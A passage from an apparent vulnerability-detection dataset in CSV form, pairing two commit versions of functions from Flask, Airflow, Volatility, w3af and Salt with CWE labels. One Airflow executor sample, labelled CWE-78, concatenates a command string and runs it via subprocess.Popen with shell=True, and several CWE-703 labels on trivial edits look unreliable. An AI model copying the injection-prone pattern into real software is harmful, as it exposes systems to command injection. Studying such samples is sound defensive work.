        the :func:`url_for` function is prefixed with the name of the blueprint.
        """"""
        if endpoint:
            assert '.' not in endpoint, ""Blueprint endpoints should not contain dots""
        self.record(lambda s:
            s.add_url_rule(rule, endpoint, view_func, **options))",CWE-703,pallets/flask,dfdcac22927f8027f393e66d78345106cdbbfae5,"def add_url_rule(self, rule, endpoint=None, view_func=None, **options):
        """"""Like :meth:`Flask.add_url_rule` but for a blueprint.  The endpoint for
        the :func:`url_for` function is prefixed with the name of the blueprint.
        """"""
        if endpoint:
            assert '.' not in endpoint, ""Blueprint endpoint's should not contain dot's""
        self.record(lambda s:
            s.add_url_rule(rule, endpoint, view_func, **options))"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/callbacks/test_callback_requests.py,0,"def test_from_json(self, input, request_class):
        json_str = input.to_json()

        result = request_class.from_json(json_str=json_str)

        self.assertEqual(result, input)",CWE-Unknown,apache/airflow,91b82763c5c17e8ab021f2d4f2a5681ea90adf6b,"def test_from_json(self, input, request_class):
        json_str = input.to_json()

        result = getattr(request_class, 'from_json')(json_str=json_str)

        self.assertEqual(result, input)"
,UNKNOWN,UNKNOWN,airflow/executors/local_executor.py,1,"def run(self):
        while True:
            key, command = self.task_queue.get()
            if key is None:
                # Received poison pill, no more tasks to run
                self.task_queue.task_done()
                break
            logging.info(command)
            command = (
                ""exec bash -c '""
                ""cd $AIRFLOW_HOME;\n"" +
                ""source init.sh;\n"" +
                command +
                ""'""
            ).format(**locals())
            try:
                subprocess.Popen(command, shell=True).wait()
                state = State.SUCCESS
            except Exception as e:
                state = State.FAILED
                logging.error(str(e))
                # raise e
            self.result_queue.put((key, state))
            self.task_queue.task_done()
            time.sleep(1)",CWE-78,apache/airflow,e5a0fd0063fea73c42c533190b053bc154ecbd74,"def run(self):
        while True:
            key, command = self.task_queue.get()
            if key is None:
                # Received poison pill, no more tasks to run
                self.task_queue.task_done()
                break
            logging.info(command)
            command = (
                ""exec bash -c '""
                ""cd $AIRFLOW_HOME;\n"" +
                ""source init.sh;\n"" +
                command +
                ""'""
            ).format(**locals())
            try:
                subprocess.Popen(command, shell=True).wait()
            except Exception as e:
                state = State.FAILED
                logging.error(str(e))
                # raise e
            state = State.SUCCESS
            self.result_queue.put((key, state))
            self.task_queue.task_done()
            time.sleep(1)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/malware/svcscan.py,0,"def render_text(self, outfd, data):

        if self._config.VERBOSE:
            regapi = registryapi.RegistryApi(self._config)
            ccs = regapi.reg_get_currentcontrolset()
            key_name = ""{0}\\services"".format(ccs)
            dlls = {}
            for subkey in regapi.reg_get_all_subkeys(hive_name = ""system"", key = key_name):
                for rootkey in regapi.reg_get_all_subkeys(hive_name = ""system"", key = """", given_root = subkey):
                    if rootkey.Name == ""Parameters"":
                        service_dll = regapi.reg_get_value(hive_name = ""system"", key = """", value = ""ServiceDll"", given_root = rootkey)
                        if service_dll != None:
                            dll = ""{0}"".format(service_dll)
                            dlls[utils.remove_unprintable(str(subkey.Name))] = service_dll

        for rec in data:
            # This can't possibly look neat in a table with columns...
            outfd.write(""Offset: {0:#x}\n"".format(rec.obj_offset))
            outfd.write(""Order: {0}\n"".format(rec.Order))
            outfd.write(""Process ID: {0}\n"".format(rec.Pid))
            outfd.write(""Service Name: {0}\n"".format(rec.ServiceName.dereference()))
            outfd.write(""Display Name: {0}\n"".format(rec.DisplayName.dereference()))
            outfd.write(""Service Type: {0}\n"".format(rec.Type))
            outfd.write(""Service State: {0}\n"".format(rec.State))
            outfd.write(""Binary Path: {0}\n"".format(rec.Binary))

            if self._config.VERBOSE:
                val = dlls.get(""{0}"".format(rec.ServiceName.dereference()), None)
                if val is not None:
                    outfd.write(""ServiceDll: {0}\n"".format(val))

            outfd.write(""\n"")",,volatilityfoundation/volatility,55f5568e776f8019cf0a5a83a5b806fb5169b720,"def render_text(self, outfd, data):

        if self._config.VERBOSE:
            regapi = registryapi.RegistryApi(self._config)
            ccs = regapi.reg_get_currentcontrolset()

        for rec in data:
            # This can't possibly look neat in a table with columns...
            outfd.write(""Offset: {0:#x}\n"".format(rec.obj_offset))
            outfd.write(""Order: {0}\n"".format(rec.Order))
            outfd.write(""Process ID: {0}\n"".format(rec.Pid))
            outfd.write(""Service Name: {0}\n"".format(rec.ServiceName.dereference()))
            outfd.write(""Display Name: {0}\n"".format(rec.DisplayName.dereference()))
            outfd.write(""Service Type: {0}\n"".format(rec.Type))
            outfd.write(""Service State: {0}\n"".format(rec.State))
            outfd.write(""Binary Path: {0}\n"".format(rec.Binary))

            if self._config.VERBOSE:
                val = regapi.reg_get_value(
                                hive_name = ""system"", 
                                key = ""{0}\\services\\{1}\\Parameters"".format(ccs, rec.ServiceName.dereference()), 
                                value = ""ServiceDll"")
                if val is not None:
                    outfd.write(""ServiceDll: {0}\n"".format(val))

            outfd.write(""\n"")"
,UNKNOWN,UNKNOWN,task_sdk/tests/defintions/test_dag.py,1,"def test_dag_topological_sort_dag_without_tasks(self):
        dag = DAG(""dag"", schedule=None, start_date=DEFAULT_DATE, default_args={""owner"": ""owner1""})

        assert dag.topological_sort() == ()",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_dag_topological_sort_dag_without_tasks(self):
        dag = DAG(""dag"", schedule=None, start_date=DEFAULT_DATE, default_args={""owner"": ""owner1""})

        assert () == dag.topological_sort()"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/arp.py,0,"def handle_table(self, ntable):

        ret = []

        # FIXME: Consider using kernel version metadata rather than checking hasattr
        if hasattr(ntable, 'hash_mask'):
            hash_size = ntable.hash_mask
            hash_table = ntable.hash_buckets
        elif hasattr(ntable.nht, 'hash_mask'):
            hash_size = ntable.nht.hash_mask
            hash_table = ntable.nht.hash_buckets
        else:
            try:
                hash_size = (1 << ntable.nht.hash_shift)
            except OverflowError:
                return []        
    
            hash_table = ntable.nht.hash_buckets

        if not self.addr_space.is_valid_address(hash_table):
            return []

        buckets = obj.Object(theType = 'Array', offset = hash_table, vm = self.addr_space, targetType = 'Pointer', count = hash_size)

        if not buckets or hash_size > 50000:
            return []

        for i in range(hash_size):
            if buckets[i]:
                neighbor = obj.Object(""neighbour"", offset = buckets[i], vm = self.addr_space)

                ret.append(self.walk_neighbor(neighbor))

        # collapse all lists into one
        return sum(ret, [])",,volatilityfoundation/volatility,1d65795714821c90336a13765c67abcac0641eba,"def handle_table(self, ntable):

        ret = []

        # FIXME: Consider using kernel version metadata rather than checking hasattr
        if hasattr(ntable, 'hash_mask'):
            hash_size = ntable.hash_mask
            hash_table = ntable.hash_buckets
        elif hasattr(ntable.nht, 'hash_mask'):
            hash_size = ntable.nht.hash_mask
            hash_table = ntable.nht.hash_buckets
        else:
            hash_size = (1 << ntable.nht.hash_shift)
            hash_table = ntable.nht.hash_buckets

        if not self.addr_space.is_valid_address(hash_table):
            return []

        buckets = obj.Object(theType = 'Array', offset = hash_table, vm = self.addr_space, targetType = 'Pointer', count = hash_size)

        if not buckets or hash_size > 50000:
            return []

        for i in range(hash_size):
            if buckets[i]:
                neighbor = obj.Object(""neighbour"", offset = buckets[i], vm = self.addr_space)

                ret.append(self.walk_neighbor(neighbor))

        # collapse all lists into one
        return sum(ret, [])"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/app.py,0,"def test_request_context(self, *args: t.Any, **kwargs: t.Any) -> RequestContext:
        """"""Create a :class:`~flask.ctx.RequestContext` for a WSGI
        environment created from the given values. This is mostly useful
        during testing, where you may want to run a function that uses
        request data without dispatching a full request.

        See :doc:`/reqcontext`.

        Use a ``with`` block to push the context, which will make
        :data:`request` point at the request for the created
        environment. ::

            with app.test_request_context(...):
                generate_report()

        When using the shell, it may be easier to push and pop the
        context manually to avoid indentation. ::

            ctx = app.test_request_context(...)
            ctx.push()
            ...
            ctx.pop()

        Takes the same arguments as Werkzeug's
        :class:`~werkzeug.test.EnvironBuilder`, with some defaults from
        the application. See the linked Werkzeug docs for most of the
        available arguments. Flask-specific behavior is listed here.

        :param path: URL path being requested.
        :param base_url: Base URL where the app is being served, which
            ``path`` is relative to. If not given, built from
            :data:`PREFERRED_URL_SCHEME`, ``subdomain``,
            :data:`SERVER_NAME`, and :data:`APPLICATION_ROOT`.
        :param subdomain: Subdomain name to append to
            :data:`SERVER_NAME`.
        :param url_scheme: Scheme to use instead of
            :data:`PREFERRED_URL_SCHEME`.
        :param data: The request body, either as a string or a dict of
            form keys and values.
        :param json: If given, this is serialized as JSON and passed as
            ``data``. Also defaults ``content_type`` to
            ``application/json``.
        :param args: other positional arguments passed to
            :class:`~werkzeug.test.EnvironBuilder`.
        :param kwargs: other keyword arguments passed to
            :class:`~werkzeug.test.EnvironBuilder`.
        """"""
        from .testing import EnvironBuilder

        builder = EnvironBuilder(self, *args, **kwargs)

        try:
            return self.request_context(builder.get_environ())
        finally:
            builder.close()",,pallets/flask,0d8c8ba71bc6362e6ea9af08146dc97e1a0a8abc,"def test_request_context(self, *args: t.Any, **kwargs: t.Any) -> RequestContext:
        """"""Create a :class:`~flask.ctx.RequestContext` for a WSGI
        environment created from the given values. This is mostly useful
        during testing, where you may want to run a function that uses
        request data without dispatching a full request.

        See :doc:`/reqcontext`.

        Use a ``with`` block to push the context, which will make
        :data:`request` point at the request for the created
        environment. ::

            with test_request_context(...):
                generate_report()

        When using the shell, it may be easier to push and pop the
        context manually to avoid indentation. ::

            ctx = app.test_request_context(...)
            ctx.push()
            ...
            ctx.pop()

        Takes the same arguments as Werkzeug's
        :class:`~werkzeug.test.EnvironBuilder`, with some defaults from
        the application. See the linked Werkzeug docs for most of the
        available arguments. Flask-specific behavior is listed here.

        :param path: URL path being requested.
        :param base_url: Base URL where the app is being served, which
            ``path`` is relative to. If not given, built from
            :data:`PREFERRED_URL_SCHEME`, ``subdomain``,
            :data:`SERVER_NAME`, and :data:`APPLICATION_ROOT`.
        :param subdomain: Subdomain name to append to
            :data:`SERVER_NAME`.
        :param url_scheme: Scheme to use instead of
            :data:`PREFERRED_URL_SCHEME`.
        :param data: The request body, either as a string or a dict of
            form keys and values.
        :param json: If given, this is serialized as JSON and passed as
            ``data``. Also defaults ``content_type`` to
            ``application/json``.
        :param args: other positional arguments passed to
            :class:`~werkzeug.test.EnvironBuilder`.
        :param kwargs: other keyword arguments passed to
            :class:`~werkzeug.test.EnvironBuilder`.
        """"""
        from .testing import EnvironBuilder

        builder = EnvironBuilder(self, *args, **kwargs)

        try:
            return self.request_context(builder.get_environ())
        finally:
            builder.close()"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/core_helpers/status.py,0,"def get_status_as_dict(self):
        """"""
        :return: The status as a dict which I can use in JSON responses
        """"""
        def serialize_fuzzable_request(fuzzable_request):
            if fuzzable_request is None:
                return fuzzable_request

            return '%s %s' % (fuzzable_request.get_method(),
                              fuzzable_request.get_uri())

        crawl_fuzzable_request = self.get_current_fuzzable_request('crawl')
        crawl_fuzzable_request = serialize_fuzzable_request(crawl_fuzzable_request)

        audit_fuzzable_request = self.get_current_fuzzable_request('audit')
        audit_fuzzable_request = serialize_fuzzable_request(audit_fuzzable_request)

        data = {
                'status': self.get_simplified_status(),
                'is_paused': self.is_paused(),
                'is_running': self.is_running(),

                'active_plugin':
                    {'crawl': self.get_running_plugin('crawl'),
                     'audit': self.get_running_plugin('audit')}
                ,

                'current_request':
                    {'crawl': crawl_fuzzable_request,
                     'audit': audit_fuzzable_request},

                'queues':
                    {'crawl':
                        {'input_speed': self.get_crawl_input_speed(),
                         'output_speed': self.get_crawl_output_speed(),
                         'length': self.get_crawl_qsize()},
                     'audit':
                        {'input_speed': self.get_audit_input_speed(),
                         'output_speed': self.get_audit_output_speed(),
                         'length': self.get_audit_qsize()}
                    },

                'eta':
                    {'crawl': self.get_crawl_eta(),
                     'audit': self.get_audit_eta()},

                'rpm': self.get_rpm(),
                }
        return data",,andresriancho/w3af,2c5545f83d236f04515bedcd067255eb02726b4f,"def get_status_as_dict(self):
        """"""
        :return: The status as a dict which I can use in JSON responses
        """"""
        data = {
                'status': self.get_simplified_status(),
                'is_paused': self.is_paused(),
                'is_running': self.is_running(),

                'active_plugin':
                    {'crawl': self.get_running_plugin('crawl'),
                     'audit': self.get_running_plugin('audit')}
                ,

                'current_request':
                    {'crawl': self.get_current_fuzzable_request('crawl'),
                     'audit': self.get_current_fuzzable_request('audit')},

                'queues':
                    {'crawl':
                        {'input_speed': self.get_crawl_input_speed(),
                         'output_speed': self.get_crawl_output_speed(),
                         'length': self.get_crawl_qsize()},
                     'audit':
                        {'input_speed': self.get_audit_input_speed(),
                         'output_speed': self.get_audit_output_speed(),
                         'length': self.get_audit_qsize()}
                    },

                'eta':
                    {'crawl': self.get_crawl_eta(),
                     'audit': self.get_audit_eta()},

                'rpm': self.get_rpm(),
                }
        return data"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/pip_state.py,0,"def installed(name,
              pip_bin=None,
              requirements=None,
              env=None,
              bin_env=None,
              use_wheel=False,
              log=None,
              proxy=None,
              timeout=None,
              repo=None,
              editable=None,
              find_links=None,
              index_url=None,
              extra_index_url=None,
              no_index=False,
              mirrors=None,
              build=None,
              target=None,
              download=None,
              download_cache=None,
              source=None,
              upgrade=False,
              force_reinstall=False,
              ignore_installed=False,
              exists_action=None,
              no_deps=False,
              no_install=False,
              no_download=False,
              install_options=None,
              global_options=None,
              user=None,
              runas=None,
              no_chown=False,
              cwd=None,
              activate=False,
              pre_releases=False):
    '''
    Make sure the package is installed

    name
        The name of the python package to install. You can also specify version
        numbers here using the standard operators ``==, >=, <=``. If
        ``requirements`` is given, this parameter will be ignored.

    Example::

        django:
          pip.installed:
            - name: django >= 1.6, <= 1.7
            - require:
              - pkg: python-pip

    This will install the latest Django version greater than 1.6 but less
    than 1.7.

    user
        The user under which to run pip

    use_wheel : False
        Prefer wheel archives (requires pip>=1.4)

    bin_env : None
        Absolute path to a virtual environment directory or absolute path to
        a pip executable. The example below assumes a virtual environment
        has been created at ``/foo/.virtualenvs/bar``.

    Example::

        django:
          pip.installed:
            - name: django >= 1.6, <= 1.7
            - bin_env: /foo/.virtualenvs/bar
            - require:
              - pkg: python-pip

    Or

    Example::

        django:
          pip.installed:
            - name: django >= 1.6, <= 1.7
            - bin_env: /foo/.virtualenvs/bar/bin/pip
            - require:
              - pkg: python-pip

    .. admonition:: Attention

        The following arguments are deprecated, do not use.

    pip_bin : None
        Deprecated, use ``bin_env``

    env : None
        Deprecated, use ``bin_env``

    .. versionchanged:: 0.17.0
        ``use_wheel`` option added.

    install_options

        Extra arguments to be supplied to the setup.py install command.
        If you are using an option with a directory path, be sure to use
        absolute path.

        Example:

        .. code-block:: yaml

            django:
              pip.installed:
                - name: django
                - install_options:
                  - --prefix=/blah
                - require:
                  - pkg: python-pip

    global_options
        Extra global options to be supplied to the setup.py call before the
        install command.

        .. versionadded:: 2014.1.3

    .. admonition:: Attention

        As of Salt 0.17.0 the pip state **needs** an importable pip module.
        This usually means having the system's pip package installed or running
        Salt from an active `virtualenv`_.

        The reason for this requirement is because ``pip`` already does a
        pretty good job parsing it's own requirements. It makes no sense for
        Salt to do ``pip`` requirements parsing and validation before passing
        them to the ``pip`` library. It's functionality duplication and it's
        more error prone.

    .. _`virtualenv`: http://www.virtualenv.org/en/latest/
    '''
    if pip_bin and not bin_env:
        bin_env = pip_bin
    elif env and not bin_env:
        bin_env = env

    ret = {'name': name, 'result': None, 'comment': '', 'changes': {}}

    if use_wheel:
        min_version = '1.4'
        cur_version = __salt__['pip.version'](bin_env)
        if not salt.utils.compare_versions(ver1=cur_version, oper='>=',
                                           ver2=min_version):
            ret['result'] = False
            ret['comment'] = ('The \'use_wheel\' option is only supported in '
                              'pip {0} and newer. The version of pip detected '
                              'was {1}.').format(min_version, cur_version)
            return ret

    if repo is not None:
        msg = ('The \'repo\' argument to pip.installed is deprecated and will '
               'be removed in Salt {version}. Please use \'name\' instead. '
               'The current value for name, {0!r} will be replaced by the '
               'value of repo, {1!r}'.format(
                   name,
                   repo,
                   version=_SaltStackVersion.from_name('Lithium').formatted_version
               ))
        salt.utils.warn_until('Lithium', msg)
        ret.setdefault('warnings', []).append(msg)
        name = repo

    from_vcs = False

    if name and not requirements:
        try:
            try:
                # With pip < 1.2, the __version__ attribute does not exist and
                # vcs+URL urls are not properly parsed.
                # The next line is meant to trigger an AttributeError and
                # handle lower pip versions
                logger.debug(
                    'Installed pip version: {0}'.format(pip.__version__)
                )
                install_req = pip.req.InstallRequirement.from_line(name)
            except AttributeError:
                logger.debug('Installed pip version is lower than 1.2')
                supported_vcs = ('git', 'svn', 'hg', 'bzr')
                if name.startswith(supported_vcs):
                    for vcs in supported_vcs:
                        if name.startswith(vcs):
                            from_vcs = True
                            install_req = pip.req.InstallRequirement.from_line(
                                name.split('{0}+'.format(vcs))[-1]
                            )
                            break
                else:
                    install_req = pip.req.InstallRequirement.from_line(name)
        except ValueError as exc:
            ret['result'] = False
            if not from_vcs and '=' in name and '==' not in name:
                ret['comment'] = (
                    'Invalid version specification in package {0}. \'=\' is '
                    'not supported, use \'==\' instead.'.format(name)
                )
                return ret
            ret['comment'] = (
                'pip raised an exception while parsing {0!r}: {1}'.format(
                    name, exc
                )
            )
            return ret

        if install_req.req is None:
            # This is most likely an url and there's no way to know what will
            # be installed before actually installing it.
            prefix = ''
            version_spec = []
        else:
            prefix = install_req.req.project_name
            version_spec = install_req.req.specs
    else:
        prefix = ''
        version_spec = []

    if runas is not None:
        # The user is using a deprecated argument, warn!
        msg = ('The \'runas\' argument to pip.installed is deprecated, and '
               'will be removed in Salt {version}. Please use \'user\' '
               'instead.'.format(
                   version=_SaltStackVersion.from_name('Lithium').formatted_version
               ))
        salt.utils.warn_until('Lithium', msg)
        ret.setdefault('warnings', []).append(msg)

        # ""There can only be one""
        if user:
            raise CommandExecutionError(
                'The \'runas\' and \'user\' arguments are mutually exclusive. '
                'Please use \'user\' as \'runas\' is being deprecated.'
            )
        # Support deprecated 'runas' arg
        else:
            user = runas

    # Replace commas (used for version ranges) with semicolons (which are not
    # supported) in name so it does not treat them as multiple packages.  Comma
    # will be re-added in pip.install call.
    name = name.replace(',', ';')

    # If a requirements file is specified, only install the contents of the
    # requirements file. Similarly, using the --editable flag with pip should
    # also ignore the ""name"" parameter.
    if requirements or editable:
        name = ''
        comments = []
        if __opts__['test']:
            ret['result'] = None
            if requirements:
                # TODO: Check requirements file against currently-installed
                # packages to provide more accurate state output.
                comments.append('Requirements file {0!r} will be '
                                'processed.'.format(requirements))
            if editable:
                comments.append(
                    'Package will be installed in editable mode (i.e. '
                    'setuptools ""develop mode"") from {0}.'.format(editable)
                )
            ret['comment'] = ' '.join(comments)
            return ret
    else:
        try:
            pip_list = __salt__['pip.list'](prefix, bin_env=bin_env,
                                            user=user, cwd=cwd)
            prefix_realname = _find_key(prefix, pip_list)
        except (CommandNotFoundError, CommandExecutionError) as err:
            ret['result'] = False
            ret['comment'] = 'Error installing {0!r}: {1}'.format(name, err)
            return ret

        if ignore_installed is False and prefix_realname is not None:
            if force_reinstall is False and not upgrade:
                # Check desired version (if any) against currently-installed
                if (
                        any(version_spec) and
                        _fulfills_version_spec(pip_list[prefix_realname],
                                            version_spec)
                        ) or (not any(version_spec)):
                    ret['result'] = True
                    ret['comment'] = ('Python package {0} already '
                                    'installed'.format(name))
                    return ret

        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Python package {0} is set to be installed'.format(name)
            return ret

    pip_install_call = __salt__['pip.install'](
        pkgs='{0}'.format(name) if name else '',
        requirements=requirements,
        bin_env=bin_env,
        use_wheel=use_wheel,
        log=log,
        proxy=proxy,
        timeout=timeout,
        editable=editable,
        find_links=find_links,
        index_url=index_url,
        extra_index_url=extra_index_url,
        no_index=no_index,
        mirrors=mirrors,
        build=build,
        target=target,
        download=download,
        download_cache=download_cache,
        source=source,
        upgrade=upgrade,
        force_reinstall=force_reinstall,
        ignore_installed=ignore_installed,
        exists_action=exists_action,
        no_deps=no_deps,
        no_install=no_install,
        no_download=no_download,
        install_options=install_options,
        global_options=global_options,
        user=user,
        no_chown=no_chown,
        cwd=cwd,
        activate=activate,
        pre_releases=pre_releases,
        saltenv=__env__
    )

    if pip_install_call and (pip_install_call.get('retcode', 1) == 0):
        ret['result'] = True

        if requirements or editable:
            comments = []
            if requirements:
                comments.append('Successfully processed requirements file '
                                '{0}.'.format(requirements))
                ret['changes']['requirements'] = True
            if editable:
                comments.append('Package successfully installed from VCS '
                                'checkout {0}.'.format(editable))
                ret['changes']['editable'] = True
            ret['comment'] = ' '.join(comments)
        else:
            if not prefix:
                pkg_list = {}
            else:
                pkg_list = __salt__['pip.list'](
                    prefix, bin_env, user=user, cwd=cwd
                )
            if not pkg_list:
                ret['comment'] = (
                    'There was no error installing package \'{0}\' although '
                    'it does not show when calling '
                    '\'pip.freeze\'.'.format(name)
                )
                ret['changes']['{0}==???'.format(name)] = 'Installed'
                return ret

            version = list(pkg_list.values())[0]
            pkg_name = next(iter(pkg_list))
            ret['changes']['{0}=={1}'.format(pkg_name, version)] = 'Installed'
            ret['comment'] = 'Package was successfully installed'
    elif pip_install_call:
        ret['result'] = False
        if 'stdout' in pip_install_call:
            error = 'Error: {0} {1}'.format(pip_install_call['stdout'],
                                            pip_install_call['stderr'])
        else:
            error = 'Error: {0}'.format(pip_install_call['comment'])

        if requirements or editable:
            comments = []
            if requirements:
                comments.append('Unable to process requirements file '
                                '{0}.'.format(requirements))
            if editable:
                comments.append('Unable to install from VCS checkout'
                                '{0}.'.format(editable))
            comments.append(error)
            ret['comment'] = ' '.join(comments)
        else:
            ret['comment'] = ('Failed to install package {0}. '
                              '{1}'.format(name, error))
    else:
        ret['result'] = False
        ret['comment'] = 'Could not install package'

    return ret",,saltstack/salt,d2fe475743f0763b9c597445777cd75acf9eed52,"def installed(name,
              pip_bin=None,
              requirements=None,
              env=None,
              bin_env=None,
              use_wheel=False,
              log=None,
              proxy=None,
              timeout=None,
              repo=None,
              editable=None,
              find_links=None,
              index_url=None,
              extra_index_url=None,
              no_index=False,
              mirrors=None,
              build=None,
              target=None,
              download=None,
              download_cache=None,
              source=None,
              upgrade=False,
              force_reinstall=False,
              ignore_installed=False,
              exists_action=None,
              no_deps=False,
              no_install=False,
              no_download=False,
              install_options=None,
              global_options=None,
              user=None,
              runas=None,
              no_chown=False,
              cwd=None,
              activate=False,
              pre_releases=False):
    '''
    Make sure the package is installed

    name
        The name of the python package to install. You can also specify version
        numbers here using the standard operators ``==, >=, <=``. If
        ``requirements`` is given, this parameter will be ignored.

    Example::

        django:
          pip.installed:
            - name: django >= 1.6, <= 1.7
            - require:
              - pkg: python-pip

    This will install the latest Django version greater than 1.6 but less
    than 1.7.

    user
        The user under which to run pip

    use_wheel : False
        Prefer wheel archives (requires pip>=1.4)

    bin_env : None
        Absolute path to a virtual environment directory or absolute path to
        a pip executable. The example below assumes a virtual environment
        has been created at ``/foo/.virtualenvs/bar``.

    Example::

        django:
          pip.installed:
            - name: django >= 1.6, <= 1.7
            - bin_env: /foo/.virtualenvs/bar
            - require:
              - pkg: python-pip

    Or

    Example::

        django:
          pip.installed:
            - name: django >= 1.6, <= 1.7
            - bin_env: /foo/.virtualenvs/bar/bin/pip
            - require:
              - pkg: python-pip

    .. admonition:: Attention

        The following arguments are deprecated, do not use.

    pip_bin : None
        Deprecated, use ``bin_env``

    env : None
        Deprecated, use ``bin_env``

    .. versionchanged:: 0.17.0
        ``use_wheel`` option added.

    install_options

        Extra arguments to be supplied to the setup.py install command.
        If you are using an option with a directory path, be sure to use
        absolute path.

        Example:

        .. code-block:: yaml

            django:
              pip.installed:
                - name: django
                - install_options:
                  - --prefix=/blah
                - require:
                  - pkg: python-pip

    global_options
        Extra global options to be supplied to the setup.py call before the
        install command.

        .. versionadded:: 2014.1.2

    .. admonition:: Attention

        As of Salt 0.17.0 the pip state **needs** an importable pip module.
        This usually means having the system's pip package installed or running
        Salt from an active `virtualenv`_.

        The reason for this requirement is because ``pip`` already does a
        pretty good job parsing it's own requirements. It makes no sense for
        Salt to do ``pip`` requirements parsing and validation before passing
        them to the ``pip`` library. It's functionality duplication and it's
        more error prone.

    .. _`virtualenv`: http://www.virtualenv.org/en/latest/
    '''
    if pip_bin and not bin_env:
        bin_env = pip_bin
    elif env and not bin_env:
        bin_env = env

    ret = {'name': name, 'result': None, 'comment': '', 'changes': {}}

    if use_wheel:
        min_version = '1.4'
        cur_version = __salt__['pip.version'](bin_env)
        if not salt.utils.compare_versions(ver1=cur_version, oper='>=',
                                           ver2=min_version):
            ret['result'] = False
            ret['comment'] = ('The \'use_wheel\' option is only supported in '
                              'pip {0} and newer. The version of pip detected '
                              'was {1}.').format(min_version, cur_version)
            return ret

    if repo is not None:
        msg = ('The \'repo\' argument to pip.installed is deprecated and will '
               'be removed in Salt {version}. Please use \'name\' instead. '
               'The current value for name, {0!r} will be replaced by the '
               'value of repo, {1!r}'.format(
                   name,
                   repo,
                   version=_SaltStackVersion.from_name('Lithium').formatted_version
               ))
        salt.utils.warn_until('Lithium', msg)
        ret.setdefault('warnings', []).append(msg)
        name = repo

    from_vcs = False

    if name and not requirements:
        try:
            try:
                # With pip < 1.2, the __version__ attribute does not exist and
                # vcs+URL urls are not properly parsed.
                # The next line is meant to trigger an AttributeError and
                # handle lower pip versions
                logger.debug(
                    'Installed pip version: {0}'.format(pip.__version__)
                )
                install_req = pip.req.InstallRequirement.from_line(name)
            except AttributeError:
                logger.debug('Installed pip version is lower than 1.2')
                supported_vcs = ('git', 'svn', 'hg', 'bzr')
                if name.startswith(supported_vcs):
                    for vcs in supported_vcs:
                        if name.startswith(vcs):
                            from_vcs = True
                            install_req = pip.req.InstallRequirement.from_line(
                                name.split('{0}+'.format(vcs))[-1]
                            )
                            break
                else:
                    install_req = pip.req.InstallRequirement.from_line(name)
        except ValueError as exc:
            ret['result'] = False
            if not from_vcs and '=' in name and '==' not in name:
                ret['comment'] = (
                    'Invalid version specification in package {0}. \'=\' is '
                    'not supported, use \'==\' instead.'.format(name)
                )
                return ret
            ret['comment'] = (
                'pip raised an exception while parsing {0!r}: {1}'.format(
                    name, exc
                )
            )
            return ret

        if install_req.req is None:
            # This is most likely an url and there's no way to know what will
            # be installed before actually installing it.
            prefix = ''
            version_spec = []
        else:
            prefix = install_req.req.project_name
            version_spec = install_req.req.specs
    else:
        prefix = ''
        version_spec = []

    if runas is not None:
        # The user is using a deprecated argument, warn!
        msg = ('The \'runas\' argument to pip.installed is deprecated, and '
               'will be removed in Salt {version}. Please use \'user\' '
               'instead.'.format(
                   version=_SaltStackVersion.from_name('Lithium').formatted_version
               ))
        salt.utils.warn_until('Lithium', msg)
        ret.setdefault('warnings', []).append(msg)

        # ""There can only be one""
        if user:
            raise CommandExecutionError(
                'The \'runas\' and \'user\' arguments are mutually exclusive. '
                'Please use \'user\' as \'runas\' is being deprecated.'
            )
        # Support deprecated 'runas' arg
        else:
            user = runas

    # Replace commas (used for version ranges) with semicolons (which are not
    # supported) in name so it does not treat them as multiple packages.  Comma
    # will be re-added in pip.install call.
    name = name.replace(',', ';')

    # If a requirements file is specified, only install the contents of the
    # requirements file. Similarly, using the --editable flag with pip should
    # also ignore the ""name"" parameter.
    if requirements or editable:
        name = ''
        comments = []
        if __opts__['test']:
            ret['result'] = None
            if requirements:
                # TODO: Check requirements file against currently-installed
                # packages to provide more accurate state output.
                comments.append('Requirements file {0!r} will be '
                                'processed.'.format(requirements))
            if editable:
                comments.append(
                    'Package will be installed in editable mode (i.e. '
                    'setuptools ""develop mode"") from {0}.'.format(editable)
                )
            ret['comment'] = ' '.join(comments)
            return ret
    else:
        try:
            pip_list = __salt__['pip.list'](prefix, bin_env=bin_env,
                                            user=user, cwd=cwd)
            prefix_realname = _find_key(prefix, pip_list)
        except (CommandNotFoundError, CommandExecutionError) as err:
            ret['result'] = False
            ret['comment'] = 'Error installing {0!r}: {1}'.format(name, err)
            return ret

        if ignore_installed is False and prefix_realname is not None:
            if force_reinstall is False and not upgrade:
                # Check desired version (if any) against currently-installed
                if (
                        any(version_spec) and
                        _fulfills_version_spec(pip_list[prefix_realname],
                                            version_spec)
                        ) or (not any(version_spec)):
                    ret['result'] = True
                    ret['comment'] = ('Python package {0} already '
                                    'installed'.format(name))
                    return ret

        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Python package {0} is set to be installed'.format(name)
            return ret

    pip_install_call = __salt__['pip.install'](
        pkgs='{0}'.format(name) if name else '',
        requirements=requirements,
        bin_env=bin_env,
        use_wheel=use_wheel,
        log=log,
        proxy=proxy,
        timeout=timeout,
        editable=editable,
        find_links=find_links,
        index_url=index_url,
        extra_index_url=extra_index_url,
        no_index=no_index,
        mirrors=mirrors,
        build=build,
        target=target,
        download=download,
        download_cache=download_cache,
        source=source,
        upgrade=upgrade,
        force_reinstall=force_reinstall,
        ignore_installed=ignore_installed,
        exists_action=exists_action,
        no_deps=no_deps,
        no_install=no_install,
        no_download=no_download,
        install_options=install_options,
        global_options=global_options,
        user=user,
        no_chown=no_chown,
        cwd=cwd,
        activate=activate,
        pre_releases=pre_releases,
        saltenv=__env__
    )

    if pip_install_call and (pip_install_call.get('retcode', 1) == 0):
        ret['result'] = True

        if requirements or editable:
            comments = []
            if requirements:
                comments.append('Successfully processed requirements file '
                                '{0}.'.format(requirements))
                ret['changes']['requirements'] = True
            if editable:
                comments.append('Package successfully installed from VCS '
                                'checkout {0}.'.format(editable))
                ret['changes']['editable'] = True
            ret['comment'] = ' '.join(comments)
        else:
            if not prefix:
                pkg_list = {}
            else:
